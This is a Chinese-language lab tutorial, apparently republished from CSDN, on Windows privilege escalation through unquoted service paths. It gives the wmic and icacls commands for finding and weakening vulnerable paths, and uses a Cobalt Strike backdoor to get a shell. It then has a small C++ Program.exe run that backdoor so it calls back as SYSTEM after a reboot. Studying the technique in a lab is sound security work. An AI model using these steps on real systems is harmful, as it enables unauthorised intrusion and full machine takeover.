[权限提升] Windows 提权 维持 — 系统错误配置提权 - Trusted Service Paths 提权

关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客

0x01:Trusted Service Paths 提权原理

Windows 的服务通常都是以 System 权限运行的,所以系统在解析服务的可执行文件路径中的空格的时候也会以 System 权限进行解析,如果我们能够利用这一特性,就有机会提升权限。

如果在注册表中存在没有被引号包裹的服务路径,且该服务路径中存在空格,比如下面这样的服务路径,就很可能造成攻击者的提权:

 C:\Program Files\Service Folder\testService.exe

针对上面这种服务路径,由于空格的截断以及 Windows 自身的系统特性,导致其实际解析流程如下:

 C:\Program.exeC:\Program Files\Service.exeC:\Program Files\Service Folder\testService.exe

系统以空格作为分割符,首先找 C:\Program.exe 尝试运行,如果不存在该程序,则去启动 C:\Program Files\Service.exe 去尝试运行,若依旧不存在该程序,则再尝试去执行 C:\Program Files\Service Folder\testService.exe。注意了,此时都是以 SYSTEM 权限进行执行的。

所以我们只要在相应的目录下制作一个恶意的程序,让系统重启时以 SYSTEM 权限执行即可。所以,使用 Trusted Service Paths 进行提权的条件如下:

  1. 服务中存在没有被引号包裹的路径,且该路径中包含空格。

  2. 当前用户具有到对应目录下写文件的权限。

  3. 服务被系统高权限用户启动。

0x02:Trusted Service Paths 提权环境配置

复现环境

  • 靶机 Windows 7:IP 192.168.0.124

  • 攻击机 Kali Linux:IP 192.168.0.100,安装了 Cobalt Strike 服务端

  • 攻击机 Windows 11:IP 192.168.0.1,安装了 Cobalt Strike 客户端,还配备了 C++ 环境

0x0201:创建不安全的服务

首先以 Administrator 系统最高管理员的身份登录 Windows 7(该用户需要手动启动,可以前参考前面的 操作系统权限介绍 中的内容),在 C:\Program Files 文件夹下创建一个 Service Folder 文件夹,假设这个文件夹就是管理员用来存放自己配置的服务的:

然后在其中手动创建一个 testService.exe 文件(这个文件啥内容都没有),假设这个就是管理员配置的系统服务程序:

然后调出 CMD 命令行,使用下面的命令,将这个程序添加进系统服务配置中,并将启动项方式设置为 Auto,以确保系统重启时会自动运行该程序:

 sc create "testService" binpath= "C:\Program Files\Service Folder\testService.exe" start= auto​# "testService" => 你注册的服务的名称# binpath => 你注册服务的程序路径# start => 注册服务的启动方式,auto 为开机自启

0x0202:查询系统服务启动方式和权限

1. 通过 CMD 命令行查询

在 CMD 命令行窗口中输入如下命令,查询 testService 启动方式和执行权限:

 sc qc testService

2. 通过 Windows 服务功能查看

按住 Win + R 打开 “运行” 对话框,往里头填入 “services.msc” 命令即可调用 Windows 服务功能:

然后在该功能中,我们可以很轻松的就定位到我们刚刚创建的 testService 服务:

如上,testService 服务的可执行文件路径没有被引号包裹,且路径中存在空格,非常符合我们漏洞复现的要求。

如果你仔细在这里面翻找服务,可以看到,大部分的服务可执行文件路径似乎都没有加引号,然后为了给读者涨涨见识,下面贴出一张路径加了引号的服务图片,像这种服务就是无法利用的:

0x0203:为用户配置对应目录写入权限

1. 查看对应目录用户权限

在前面的配置中,我们创建了一个不安全的系统服务,对应的程序路径是:

 C:\Program Files\Service Folder\testService.exe

针对该路径,为了让后续渗透方利用的舒心,我们还要给低权限用户配置一个对应路径的写权限,针对上面这个文件,我们需要配置的低权限用户具有写入权限的路径有(选一个即可):

 C:\C:\Program Files\C:\Program Files\Service Folder\ # 如果对该目录有读写修改权限,我们可以直接重写服务内容

我们先来查看一下上面这两个目录的默认配置(由于是 C 盘,所以默认权限都限制的比较严格):

 icacls "C:\\"               # 查询 C:\ 目录下的权限icacls "C:\\Program Files"  # 查询 C:\Program Files 目录下的权限icacls "C:\\Program Files\\Service Folder"

如上,可以看到,针对 C:\ 目录,Users 用户组的普通用户只有 RX 读取和执行权限,没有写入权限,所以为了后续的漏洞利用,我们还需要赋予普通用户目录写入的权限。同时,我们还注意到,该目录的完整性级别为 High Mandatory Level,证明只有管理员级别的用户可以访问该目录,我们的普通用户是无法操作此目录的,所以我们后续还需要降低目录的完整性级别。

icacls 标识对应的权限

W:写权限;R 读权限;X 执行权限;F 完全访问权限;M 修改权限。

2. 赋予用户对应目录写入权限

下面我们针对 C:\ 目录,赋予低权限用户写入权限。

2.1 赋予用户对应目录写入权限 — 命令行方式

输入下面的命令,赋予系统内置的 Users 用户组对应目录(C:\)的写入权限:

 icacls "C:\\" /grant "BUILTIN\Users":(w) # 授予用户组对应目录写权限

如上,系统内置的 Users 用户组已经成功获得了对应目录的写权限。但是其实此时 Users 用户组中的用户还是无法在 C:\ 目录下创建文件的,因为被 C:\ 的目录完整性级别限制了,所以我们还得降低 C:\ 目录的完整性级别,让 Users 用户组得以写文件到目标路径。

3. (可选)降低目录/文件完整性级别

我们上面通过 icacls 工具设置的是目录的 NTFS 权限,NTFS(New Technology File System)是 Windows 操作系统中常用的文件系统,它支持对文件和目录设置详细的权限控制。

但是我们这边讲解的 ”完整性级别“ 是独立于 NTFS 权限的一种安全机制。即使 NTFS 权限允许访问了,如果完整性级别不匹配,访问仍然会被拒绝。 所以这里,我们就需要降低C:\ 目录的完整性级别,以允许低级别用户进行操作。

3.1 目录/文件完整性级别介绍

完整性级别是 Windows 中用于控制资源访问的安全机制,通常与用户账户控制(UAC)相关。

Windows 中的完整性级别分为以下几种:

  • Low(L):最低级别,通常用于浏览器等低权限进程。

  • Medium(M):默认级别,普通用户进程运行在此级别。

  • High(H):管理员权限进程运行在此级别。

  • System(S):系统内核和核心服务运行在此级别。

Windows 完整性级别的使用场景可以分为以下几个方面:

3.1.1 降低权限:将完整性设置为 Low(L)
  • 场景:

    • 适用于需要严格限制访问权限的目录或文件。

    • 通常用于隔离低信任度的应用程序或数据(如浏览器缓存、临时文件等)。

  • 作用:

    • 只有运行在 Low(L)完整性级别的进程(如浏览器沙盒)可以访问这些资源。

    • 运行在 Medium(M)或更高完整性级别的进程(如普通用户程序)无法访问。

  • 示例:

    • 将浏览器下载目录的完整性级别设置为 Low,以防止恶意软件通过下载的文件影响系统。

icacls "C:\Downloads" /setintegritylevel L
3.1.2 恢复默认:将完整性级别设置为 Medium(M)
  • 场景:

    • 适用于普通用户目录或文件,恢复默认的访问权限。

    • 当目录或文件的完整性级别被错误地设置为 Low 或 High 时,可以使用此操作恢复默认。

  • 作用:

    • 运行运行在 Medium(M)或更高完整性级别的进程访问。

    • 这是大多数用户程序和文件的默认级别。

  • 示例:

    • 将某个目录恢复为默认的完整性级别:

icacls "C:\ExampleFolder" /setintegritylevel M
3.1.3 提高权限:将完整性级别设置为 High(H)
  • 场景:

    • 适用于需要高安全性的目录或文件。

    • 通常用于保护系统关键文件或管理员专用文件。

  • 作用:

    • 只有运行在 High(H)或 System(S)完整性级别的进程(如管理员程序)可以访问。

    • 运行在 Medium(M)或更低完整性级别的进程(如普通用户程序)无法访问。

  • 示例:

    • 将某个包含敏感数据的目录设置为 High,以限制只有管理员可以访问:

icacls "C:\SensitiveData" /setintegritylevel H
3.2 降低 C:\ 目录完整性级别

输入下面的命令,修改 C:\ 目录完整性为 Medium,以允许普通用户对该目录有操作权限:

icacls "C:\\" /setintegritylevel M

4. 提权环境检查

我们切换到 Windows 系统中的一个标准用户,笔者这里选择的是 test01 用户:

然后跑到 C:\ 下,看看我们可不可以新建文本文件,如果可以,证明你的环境就 OK 了:

0x03:Trusted Service Paths 提权漏洞复现

0x0301:拿到靶机低权限用户 Shell

既然是提权,我们肯定得先拿到靶机的一个低权限用户,此处,我们就以上面的一般用户 test01 为例,来演示如何提权到 SYSTEM。

在 Kali 上开启 CS 服务端,并在 Windows 11 辅助机上使用 CS 客户端进行连接:

我们在 CS 中创建一个监听器,监听 CS 服务端的 4444 端口。然后使用该监听器创建一个 Windows 后门程序 artifact.exe,并上传到 Windows 7 靶机中:

双击 artifact.exe 文件,获取靶机的低权限 Shell:

下面,我们就要开始使用 Trusted Service Paths 进行提权了。

0x0302:定位不安全的服务

在 CS 中输入下面的命令,定位靶机中没有配置引号,且带有空格路径的服务:

wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\\Windows\\" | findstr /i /v """

如上成功发现有一个服务十分符合我们的要求,整理一下显示如下:

name        : testService
displayname : testService
pathname    : C:\Program Files\Service Folder\testService.exe
startmode   : Auto

0x0303:检查特定目录是否具有写权限

针对上面获得的那个服务,我们可以利用的提权路径有以下几条:

C:\
C:\Program Files\
C:\Program Files\Service Folder\

我们先来查看以下我们当前用户所属的组:

whoami /groups

如上,我们当前用户属于本地的 Users 用户组,具有 Medium 的完整性级别。知道了这些信息,接下里,我们来一个一个查看目录权限,看我们对其是否具有写入权限:

icacls "C:\\"

如上,C:\ 是一个可被利用的目录。

0x0304:制作服务劫持程序

在前面的信息收集中,我们发现目标靶机上存在一个可被利用的服务,其服务程序路径为:

C:\Program Files\Service Folder\testService.exe

又通过信息收集,发现了当前用户对 C:\ 具有写权限。所以接下来,我们将要在目标的 C:\ 目录下,创建一个 Program.exe 程序,利用 Windows 服务执行特性,进行提权。

这里我们采用 C++ 来制作恶意程序(因为 C 程序编译后会直接生成一个 exe 文件,采用其他编程语言的话你还得自己打包,很麻烦),下面是程序代码:

#include <stdio.h>
#include <stdlib.h>int main() {system("cmd.exe /c C:\\Users\\test01\\Desktop\\artifact.exe");return 0;
}

这个程序的逻辑很简单,运行后,会通过 CMD 执行一遍我们用 CS 制作的 Windows 反弹连接的木马文件(我们前面拿到靶机的低权限 Shell 就是用的这个文件)。

将上面的程序编译后,保存为 Program.exe,并将该 EXE 文件上传到靶机的 C:\ 下:

0x0305:等待靶机重启 & 提权成功

当我们将上面这一切都准备好后,接下来就是等待管理员重启计算机了。因为只有重启计算机了,那些开机自启的服务才会自动执行,只有服务被执行,才会触发我们刚刚创建的劫持文件。

这里,我们手动重启一下靶机(一般低权限用户是无法重启电脑的)。重启后靶机显示如下(可能是笔者制作的木马的问题,当然,更可能是木马存放路径的问题):

显示 C:\Program.exe 文件有问题,其实已经证明了 Windows 服务的解析漏洞是存在的。等待一会,即可看到 CS 上上线了目标靶机的 SYSTEM 用户,证明我们提权成功:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/70093.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

通信易懂唠唠SOME/IP——SOME/IP-SD服务发现阶段和应答行为

一 SOME/IP-SD服务发现阶划分 服务发现应该包含3个阶段 1.1 Initial Wait Phase初始等待阶段 初始等待阶段的作用 初始等待阶段是服务发现过程中的一个阶段。在这个阶段&#xff0c;服务发现模块等待服务实例的相关条件满足&#xff0c;以便继续后续的发现和注册过程。 对…

【python】python基于机器学习与数据分析的手机特性关联与分类预测(源码+数据集)【独一无二】

&#x1f449;博__主&#x1f448;&#xff1a;米码收割机 &#x1f449;技__能&#x1f448;&#xff1a;C/Python语言 &#x1f449;专__注&#x1f448;&#xff1a;专注主流机器人、人工智能等相关领域的开发、测试技术。 python基于机器学习与数据分析的手机特性关联与分类…

测试csdn图片发布

测试csdn图片发布 ​​

JVM监控和管理工具

基础故障处理工具 jps jps(JVM Process Status Tool)&#xff1a;Java虚拟机进程状态工具 功能 1&#xff1a;列出正在运行的虚拟机进程 2&#xff1a;显示虚拟机执行主类(main()方法所在的类) 3&#xff1a;显示进程ID(PID&#xff0c;Process Identifier) 命令格式 jps […

51单片机 06 定时器

51 单片机的定时器属于单片机的内部资源&#xff0c;其电路的连接和运转均在单片机内部完成。 作用&#xff1a;1、用于计时&#xff1b;2、替代长时间的Delay&#xff0c;提高CPU 运行效率和处理速度。 定时器个数&#xff1a;3个&#xff08;T0、T1、T2&#xff09;&#xf…

洛谷 P1164 小A点菜 C语言

P1164 小A点菜 - 洛谷 | 计算机科学教育新生态 题目背景 uim 神犇拿到了 uoi 的 ra&#xff08;镭牌&#xff09;后&#xff0c;立刻拉着基友小 A 到了一家……餐馆&#xff0c;很低端的那种。 uim 指着墙上的价目表&#xff08;太低级了没有菜单&#xff09;&#xff0c;说&…

面向对象程序的三大特性之一的封装JAVA

1. 封装 1.1 封装的概念 面向对象程序三大特性&#xff1a;封装、继承、多态 。而类和对象阶段&#xff0c;主要研究的就是封装特性。何为封装呢&#xff1f;简单来说就是套壳屏蔽细节 。 比如&#xff1a;对于电脑这样一个复杂的设备&#xff0c;提供给用户的就只是&#…

[leetcode·回溯算法]回溯算法解题套路框架

本文参考labuladong算法笔记[回溯算法解题套路框架 | labuladong 的算法笔记] 本文解决几个问题&#xff1a; 回溯算法是什么&#xff1f;解决回溯算法相关的问题有什么技巧&#xff1f;如何学习回溯算法&#xff1f;回溯算法代码是否有规律可循&#xff1f; 其实回溯算法和我…

总结11..

#include <stdio.h> #include <string.h> #define MAXN 1001 #define MAXM 1000001 int n, m; char maze[MAXN][MAXN]; int block[MAXN][MAXN]; // 标记每个格子所属的连通块编号 int blockSize[MAXN * MAXN]; // 记录每个连通块的大小 int dx[] {0, 0, 1, -1};…

SQL Server中DENSE_RANK()函数:简洁处理连续排名

什么是DENSE_RANK&#xff1f; DENSE_RANK()是SQL Server中的窗口函数&#xff0c;用于为结果集中的行生成无间隔的连续排名。与RANK()不同&#xff0c;当遇到相同值时&#xff0c;后续排名不会跳过数字。前一篇已经介绍了rank的用法&#xff0c;这次介绍一下dense_rank。 DEN…

【Go语言圣经】第七节:接口

第七章&#xff1a;接口 Golang 当中接口类型的独特之处在于它是满足隐式实现的。即&#xff1a;没必要对于给定的具体类型定义所有满足的接口类型&#xff0c;简单地拥有一些必要的方法即可。这种设计使得我们可以创建一个新的接口类型来满足已经存在的具体类型&#xff0c;却…

【网络】3.HTTP(讲解HTTP协议和写HTTP服务)

目录 1 认识URL1.1 URI的格式 2 HTTP协议2.1 请求报文2.2 响应报文 3 模拟HTTP3.1 Socket.hpp3.2 HttpServer.hpp3.2.1 start()3.2.2 ThreadRun()3.2.3 HandlerHttp&#xff08;&#xff09; 总结 1 认识URL 什么是URI&#xff1f; URI 是 Uniform Resource Identifier的缩写&…

数据分析师使用Kutools for Excel 插件

数据分析师使用Kutools for Excel 插件 Kutools for Excel 是一款功能强大的 Excel 插件&#xff0c;旨在提高 Excel 用户的工作效率&#xff0c;简化复杂的操作。它提供了超过 300 个增强功能&#xff0c;帮助用户快速完成数据管理、格式化、排序、分析等任务&#xff0c;特别…

ElasticStack简介及应用

文章目录 1.Elastic Stack 技术栈2.ES 安装2.1 准备2.2 yum单机部署2.3 集群部署 3.Kibana3.1 安装配置3.2 web访问 4.Filebeat4.1 安装4.2 配置 inputs4.3 配置 output4.4 索引4.5 分片和副本 5.收集nginx日志5.1 原生日志5.2 nginx日志格式5.3 filebeat 配置 6.logstash6.1 安…

解决Mac安装软件的“已损坏,无法打开。 您应该将它移到废纸篓”问题

mac安装软件时&#xff0c;如果出现这个问题&#xff0c;其实很简单 首先打开终端&#xff0c;输入下面的命令 sudo xattr -r -d com.apple.quarantine 输入完成后&#xff0c;先不要回车&#xff0c;点击访达--应用程序--找到你无法打开的app图标&#xff0c;拖到终端窗口中…

pytorch实现长短期记忆网络 (LSTM)

人工智能例子汇总&#xff1a;AI常见的算法和例子-CSDN博客 LSTM 通过 记忆单元&#xff08;cell&#xff09; 和 三个门控机制&#xff08;遗忘门、输入门、输出门&#xff09;来控制信息流&#xff1a; 记忆单元&#xff08;Cell State&#xff09; 负责存储长期信息&…

后盾人JS--继承

继承是原型的继承 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Document</title> </hea…

实际操作 检测缺陷刀片

号he 找到目标图像的缺陷位置&#xff0c;首先思路为对图像进行预处理&#xff0c;灰度-二值化-针对图像进行轮廓分析 //定义结构元素 Mat se getStructuringElement(MORPH_RECT, Size(3, 3), Point(-1, -1)); morphologyEx(thre, tc, MORPH_OPEN, se, Point(-1, -1), 1); …

从实数与复数在交流电路正弦量表示中的对比分析

引言 在交流电路领域&#xff0c;深入理解电压和电流等正弦量的表示方式对电路分析至关重要。其中&#xff0c;只用实数表示正弦量存在诸多局限性&#xff0c;而复数的引入则为正弦量的描述与分析带来了极大的便利。下面将从瞬时值角度&#xff0c;详细剖析只用实数的局限性&a…

Python3 OS模块中的文件/目录方法说明十四

一. 简介 前面文章简单学习了 Python3 中 OS模块中的文件/目录的部分函数。 本文继续来学习 OS 模块中文件、目录的操作方法&#xff1a;os.statvfs() 方法&#xff0c;os.symlink() 方法。 二. Python3 OS模块中的文件/目录方法 1. os.statvfs() 方法 os.statvfs() 方法用…